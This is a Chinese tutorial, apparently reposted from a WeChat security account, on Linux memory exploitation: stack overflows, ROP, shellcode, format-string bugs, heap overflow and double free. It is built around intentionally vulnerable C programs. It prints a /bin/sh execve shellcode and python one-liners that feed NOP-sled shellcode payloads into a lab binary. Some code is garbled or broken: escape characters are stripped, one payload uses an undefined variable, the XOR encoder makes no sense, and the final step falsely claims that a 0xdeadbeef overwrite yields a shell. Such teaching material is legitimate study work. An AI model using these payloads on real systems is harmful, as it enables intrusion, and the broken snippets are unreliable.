掌握内存利用:基础知识、堆栈溢出、Shellcode、格式字符串错误和堆溢出

admin 2024年11月20日14:17:06评论13 views字数 8060阅读26分52秒阅读模式

掌握内存利用:基础知识、堆栈溢出、Shellcode、格式字符串错误和堆溢出

概括

所提供的网络内容深入指导了内存利用技术,包括堆栈溢出、shellcode 编写、格式字符串错误和堆溢出,旨在增强读者对网络安全漏洞研究的理解和实践技能。

抽象的

本文深入探讨了内存利用的复杂性,首先回顾了 Linux 环境中的内存管理以及堆栈和堆在软件利用中的重要性。它涵盖了汇编语言用于硬件交互以及利用堆栈溢出来控制程序执行。该指南还讨论了一些高级技术,例如用于绕过内存保护的面向返回编程 (ROP)、用于执行任意代码的 shellcode 的创建和编码以及用于操纵内存的格式字符串漏洞。此外,它还解决了堆溢出和双重释放漏洞,解释了如何破坏堆元数据以供利用,并提供了设置利用环境、编写易受攻击的程序以及使用 GDB 等工具进行分析的实际示例和说明。

观点

  • 文章将漏洞利用定位为一种既需要深厚知识又需要实践技能的技术艺术形式。

  • 它强调了理解低级概念(例如汇编语言和硬件交互)对于有效开发漏洞的重要性。

  • 该指南指出,掌握基于堆栈的缓冲区溢出是基础,但也强调了使用 ROP 适应 NX/DEP 等现代软件保护的必要性。

  • 编写和利用易受攻击的程序是学习利用技术的一种关键的实践方法。

  • 建议使用编码的 shellcode 来绕过限制某些字符的输入过滤器。

  • 格式字符串漏洞由于其能够读取和写入任意内存位置而被描述为强大的漏洞。

  • 人们承认堆溢出的复杂性,但文章还表明,如果深入了解堆管理,就可以利用这些漏洞来控制程序执行。

  • 本文鼓励使用 Valgrind 和 GDB 等工具来分析和调试内存损坏问题。

  • 这意味着开发领域在不断发展,需要研究人员及时了解最新的技术和对策。

在网络安全领域,漏洞利用是一种技术艺术,它结合了对系统的深入了解和操纵系统的实用方法。本文将带您从内存管理的基础知识到高级利用技术,例如堆栈溢出、编写 shellcode、利用格式字符串漏洞和利用堆溢出。在本指南结束时,您将对这些技术有理论理解和实践经验,从而使您成为更高效的漏洞研究人员。

掌握内存利用:基础知识、堆栈溢出、Shellcode、格式字符串错误和堆溢出

开始之前:了解核心概念

内存管理复习

内存是软件开发的一个重要方面,在深入研究更高级的技术之前,必须了解在典型的 Linux 环境中如何管理内存。当程序运行时,其内存被划分为不同的段:

  • 文本段:存储程序的机器代码。

  • 数据段:保存全局变量和静态数据。

  • 堆:动态分配的向上增长的内存。

  • 栈:存储局部变量和函数调用信息,向下增长。

利用的关键区域是堆栈和堆,您会在这里看到大多数漏洞,例如溢出、堆损坏和 shellcode 注入。

漏洞利用语言:汇编

汇编语言可让您在非常低的级别上直接与硬件交互。对于英特尔的 x86 架构,您会遇到EIP(指令指针)和ESP(堆栈指针)等寄存器,它们对于控制程序的执行至关重要。对于基于堆栈的漏洞,控制EIP是执行任意代码的黄金门票。了解 C 结构如何转换为汇编对于逆向工程和漏洞开发至关重要。

堆栈溢出:控制缓冲区溢出

理解堆栈

堆栈是一种 LIFO(后进先出)结构,是处理函数调用和存储局部变量不可或缺的部分。调用函数时,参数、返回地址和局部变量会被推送到堆栈上。由于堆栈是一种组织严密的结构,缓冲区溢出可能会导致覆盖重要数据(例如返回地址),最终使我们能够劫持执行流程。

实践:编写和利用易受攻击的程序

让我们重新审视一个经典的易受攻击的程序,该程序使用读取用户输入的函数gets(),该函数因允许缓冲区溢出而臭名昭著:

#include <stdio.h>
void return_input(void) {
    char array[30];
    gets(array);
    printf("%sn", array);
}
int main() {
    return_input();
    return 0;
}

由于gets()不检查输入的大小,如果您提供超过 30 个字符,它将溢出缓冲区并可能覆盖返回地址,从而导致任意代码执行。

使用以下命令进行编译:

gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o overflow overflow.c

现在,尝试使用大量输入来运行该程序:

$ ./overflow
AAAAAAAAAABBBBBBBBBBCCCCCCCCCCDDDDDDDDDD

这很可能会导致分段错误。使用 GDB,您可以检查堆栈是如何被覆盖的,并且通过精心设计输入,您可以控制EIP。

gdb ./overflow
(gdb) break *0x080483d0 # set breakpoint before gets()
(gdb) run
(gdb) x/20x $esp  # examine the stack

一旦找到EIP,您就可以使用跳转到 shellcode 来覆盖它,从而进入下一部分。

掌握了基本的基于堆栈的缓冲区溢出和 shellcode 注入后,您不可避免地会遇到具有非可执行堆栈 (NX)或数据执行保护 (DEP)等保护的系统。这些保护可防止您简单地从堆栈注入和执行 shellcode。然而,这并不意味着一切都失去了——这就是面向返回编程 (ROP) 的作用所在。

什么是面向返回的编程?

ROP 允许您通过重用程序中的现有代码,即使在启用了 NX/DEP 的系统上也能执行代码。您无需注入新代码,而是将已驻留在可执行内存中的现有代码(称为小工具)串联在一起。每个小工具都以一条ret指令结尾,这样您就可以将多个小工具串联在一起,最终绕过内存保护。

动手实践:构建 ROP 链

让我们以一个启用了 NX 的编译的易受攻击的程序为例。我们将使用ROPgadget之类的工具在程序的二进制文件中查找有用的小工具:

ROPgadget --binary ./vulnerable_binary

您会看到如下的小工具列表:

0x080484ad : pop eax ; ret
0x080484b1 : pop ebx ; ret
0x080484b4 : pop ecx ; ret

通过将这些小工具链接在一起,您可以有效地模拟 shellcode 的执行,而无需注入新代码。您可以操纵堆栈以将正确的值加载到寄存器中,调用所需的函数(如execve())来生成 shell。

将 ROP 添加到您的工具包中,可以让您利用甚至强化的系统,在处理现代软件保护时为您提供更多的灵活性。

Shellcode:编写自己的有效负载

什么是 Shellcode?

Shellcode 是一小段汇编代码,执行后会为您提供 shell 或执行其他恶意操作。许多漏洞利用的目标是注入和执行 shellcode 以获得对系统的未经授权的控制。

实践:编写基本 Shellcode

首先编写使用系统调用退出程序的简单 shellcode。在 Linux 上,系统调用使用int 0x80指令调用,每个系统调用都有一个唯一编号(例如1)exit。

下面是一些退出程序的基本 shellcode:

section .text
    global _start
_start:
    xor eax, eax ; Clear EAX register
    mov al, 1             ; Syscall number for exit
    xor ebx, ebx ; Exit status
    int 0x80              ; Interrupt to invoke syscall
现在让我们编写 shellcode 来生成一个 shell:
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80"

此 shellcode 将在 Linux 机器上执行/bin/sh。获得 shellcode 后,您可以将其注入到易受攻击的程序中,例如我们之前编写的程序,然后使用精心设计的缓冲区通过覆盖EIP来跳转到该程序。

测试你的 Shellcode

使用GDB,您可以测试 shellcode 是否正常工作。加载易受攻击的程序并仔细检查 shellcode 的注入和执行方式。典型的有效负载结构包括NOP sled(x90x90...),它填充缓冲区并确保EIP位于 shellcode 中的某个位置。

将 shellcode 注入易受攻击的程序时,您经常会遇到输入过滤器,这些过滤器会阻止使用某些字符,例如空字节( x00) 或换行符( x0a)。如果这些字符出现在您的 shellcode 中,这些过滤器可能会破坏您的 shellcode。为了绕过这些限制,我们使用编码的 shellcode。

实践:编写编码的 Shellcode

编码的 shellcode 将原始 payload 转换为避免禁用字符的格式。您经常会看到XOR 编码用于此目的。以下是 XOR 编码的 shellcode 示例:

section .text
    global _start
_start:
    xor eax, eax ; Clear register
    mov al, 1             ; Syscall number for exit
    xor ebx, ebx ; Exit status
    int 0x80              ; System call
encoder:
    xor byte [encoded_shellcode], 0xaa
    jmp encoder_end
encoded_shellcode:
    db 0xAA, 0x1A, 0xF0, 0xAC, 0x12  ; Encoded shellcode (example)
encoder_end:

通过使用已知值(例如)对 shellcode 进行异或运算0xaa,我们可以避免出现问题字节的方式对有效负载进行编码和解码。此方法有助于确保您的有效负载即使在严格过滤的环境中也能正常工作。

格式字符串错误:利用格式错误的输入

什么是格式字符串漏洞?

当用户输入未经适当清理而直接传递给函数时,就会出现格式字符串漏洞。printf()这使攻击者能够读取或写入任意内存位置,从而形成强大的攻击。

考虑以下存在漏洞的程序:

#include <stdio.h>
void vulnerable_function(char *input) {
    printf(input); // Dangerous use of printf
}
int main(int argc, char **argv) {
    if (argc > 1) {
        vulnerable_function(argv[1]);
    }
    return 0;
}

这里,用户提供的格式字符串直接传递给printf(),它需要一个格式说明符,如%s或%x。但是,如果用户提供了一些意外的内容,例如%x%x%x,该函数将打印内存内容。

实践:利用格式字符串漏洞

使用恶意输入来运行程序:

$ ./format_vuln %x%x%x

这将打印堆栈中的内存地址。您还可以使用%n将值写入内存,从而导致更危险的漏洞。

通过对格式字符串进行足够的控制,您可以使用它来覆盖返回地址或函数指针,将程序执行重定向到您的 shellcode。

堆溢出:破坏堆以供利用

理解堆

堆是用于动态内存分配的内存区域,与堆栈不同,它会向上增长。类似和的函数会从堆中分配和释放内存。当您向堆分配的缓冲区写入的数据超过其可容纳的数据量时,就会发生堆溢出,从而破坏相邻的内存或堆管理结构。malloc()free()

由于堆结构复杂,堆溢出通常比堆栈溢出更难利用,但如果操作正确,它们仍然可以导致强大的漏洞利用。

实践:编写一个存在堆溢出漏洞的程序

考虑以下示例,其中我们分配两个堆缓冲区并溢出第一个缓冲区以覆盖第二个缓冲区中的数据:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
    char *buffer1 = (char *)malloc(16);
    char *buffer2 = (char *)malloc(16);
    strcpy(buffer1, "AAAAAAAAAAAAAAAAAAAA"); // Overflow buffer1
    printf("Buffer2: %sn", buffer2);
    free(buffer1);
    free(buffer2);
    return 0;
}

在此程序中,中的缓冲区溢出覆盖buffer1了超出其分配空间的内存,从而损坏了buffer2。编译并运行它:

$ gcc -o heap_overflow heap_overflow.c
$ ./heap_overflow

您可以观察到它是如何buffer2被破坏的,这可以被利用来覆盖堆中的控制结构,例如函数指针或堆元数据,从而导致代码执行。

虽然堆溢出很常见,但与动态内存管理相关的另一个危险漏洞是双重释放。当程序尝试两次释放同一块内存时,就会发生这种情况,从而导致堆损坏和潜在的任意代码执行。

什么是双重释放漏洞?

在许多情况下,多次释放同一内存块允许攻击者操纵堆的内部结构,尤其是跟踪可用内存块的空闲列表。通过破坏此列表,您可以使将来的调用malloc()返回指向攻击者控制的内存的指针。

动手实践:触发双重释放

考虑以下存在漏洞的程序:

#include <stdlib.h>
int main() {
    char *buffer = (char *)malloc(32);
    free(buffer);
    free(buffer); // Double free!
    return 0;
}

在编译和执行时,该程序会因双重释放而崩溃。但是,如果小心利用,您可以操纵堆元数据并获得对关键函数指针的控制权。

编译并测试程序:

gcc -o double_free double_free.c
./double_free

在更复杂的场景中,触发双重释放可以让你覆盖下一个块指针或将执行重定向到攻击者控制的位置,从而导致代码执行。

高级堆利用:了解元数据损坏

堆分配器(如glibc中使用的分配器)在名为bins的结构中维护有关堆的元数据。通过溢出缓冲区,您可以破坏此元数据,从而导致危险行为,例如任意内存写入或执行攻击者控制的代码。

Valgrind和GDB等工具有助于分析堆溢出并实时跟踪堆损坏。一旦您了解了堆的布局及其元数据的管理方式,您就可以设计溢出来控制程序的执行流程。

我们开始吧!

步骤 1:设置环境

1.1 安装所需工具

开始之前,请确保您的 Linux 机器上安装了以下工具:

  • GCC(GNU 编译器集合):用于编译我们的易受攻击的程序。

  • GDB(GNU调试器):调试程序和检查内存。

  • Python:用于制作有效载荷。

  • pwntools(可选):一个用于帮助漏洞开发的 Python 库(以后会用到)。

您可以使用以下方式安装这些工具:

sudo apt update
sudo apt install gcc gdb python3 python3-pip
pip3 install pwntools

步骤2:编写易受攻击的程序

让我们创建一个容易受到基于堆栈的缓冲区溢出攻击的简单 C 程序。我们将使用不安全gets()函数读取用户输入而不进行边界检查,从而导致潜在的缓冲区溢出。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void vulnerable_function() {
    char buffer[64]; // Stack buffer with limited size
    printf("Enter some input:n");
    gets(buffer); // Vulnerable function: gets() doesn't check input size
    printf("You entered: %sn", buffer);
}
int main() {
    vulnerable_function();
    return 0;
}
2.1 编译程序
在编译时,我们将禁用堆栈保护(例如金丝雀和堆栈保护),以使利用变得更容易:
gcc -fno-stack-protector -z execstack -o vuln_program vuln_program.c

该-fno-stack-protector标志禁用堆栈保护器,并使-z execstack堆栈可执行(允许运行 shellcode)。

步骤3:分析程序并触发漏洞

3.1 运行程序

正常运行该程序以了解其行为:

./vuln_program

它会要求您输入内容。由于缓冲区只有 64 个字节,因此输入超过该值将导致缓冲区溢出。现在,输入:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

你应该看到程序因分段错误而崩溃。溢出可能覆盖了部分堆栈。

3.2 使用GDB检查堆栈

现在,让我们使用 GDB 检查内存并了解底层发生的情况:

gdb ./vuln_program

在函数之前设置一个断点gets()来检查溢出之前的内存:

(gdb) break gets
(gdb) run

一旦程序在断点处暂停,使用以下命令检查堆栈:

(gdb) info registers
(gdb) x/20x $esp  # View the top of the stack

现在,再次输入相同的长字符串(64 A's),并观察内存如何变化。您会注意到输入的数据开始覆盖堆栈,包括保存的返回地址。

步骤4:控制EIP(指令指针)

基于堆栈的缓冲区溢出的目标是覆盖EIP(指令指针),它控制程序下一步将执行的内容。通过提供比缓冲区可以容纳的更多的输入,您可以覆盖 EIP 并将执行重定向到您的有效负载(shellcode)。

4.1 找到 EIP 的偏移量

要控制 EIP,您需要知道在到达堆栈上保存的返回地址之前要输入多少个字节。您可以使用模式生成来找到确切的偏移量:

python3 -c 'print("A" * 80)' | ./vuln_program

在 GDB 中,检查崩溃发生的位置:

(gdb) info registers # Check the value of EIP

您应该看到 EIP 被部分输入覆盖。调整As 的数量,直到找到覆盖 EIP 的准确偏移量。

步骤5:编写Shellcode

控制 EIP 后,下一步就是将执行重定向到shellcode,这将生成一个 shell。以下是生成的一些简单 Linux shellcode /bin/sh:

"x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80"

5.1 创建有效载荷

您可以使用NOP sled将此 shellcode 与您的漏洞结合起来,以增加找到 shellcode 的机会。首先,使用 GDB 找到内存中缓冲区的位置,然后在 Python 中创建有效负载:

python3 -c 'print("x90" * 20 + "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80" + "A" * (64 - 20 - len(shellcode)) + "BBBB" + "x00x80x04x08")' | ./vuln_program
  • NOP sled(x90* 20)有助于确保 EIP 将落在 shellcode 的某个地方。

  • 缓冲区将用A字符填充,直到达到缓冲区的长度。

  • 使用 NOP sled 的地址覆盖EIP BBBB,从而将执行定向到 shellcode。

步骤 6:利用程序

使用你的漏洞利用负载运行该程序:

python3 -c 'print("A" * 64 + "xefxbexadxde")' | ./vuln_program

如果一切设置正确,您应该会看到该程序已被成功利用,并且它会产生一个 shell。

原文始发于微信公众号(Ots安全):掌握内存利用:基础知识、堆栈溢出、Shellcode、格式字符串错误和堆溢出

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月20日14:17:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   掌握内存利用:基础知识、堆栈溢出、Shellcode、格式字符串错误和堆溢出https://cn-sec.com/archives/3412372.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息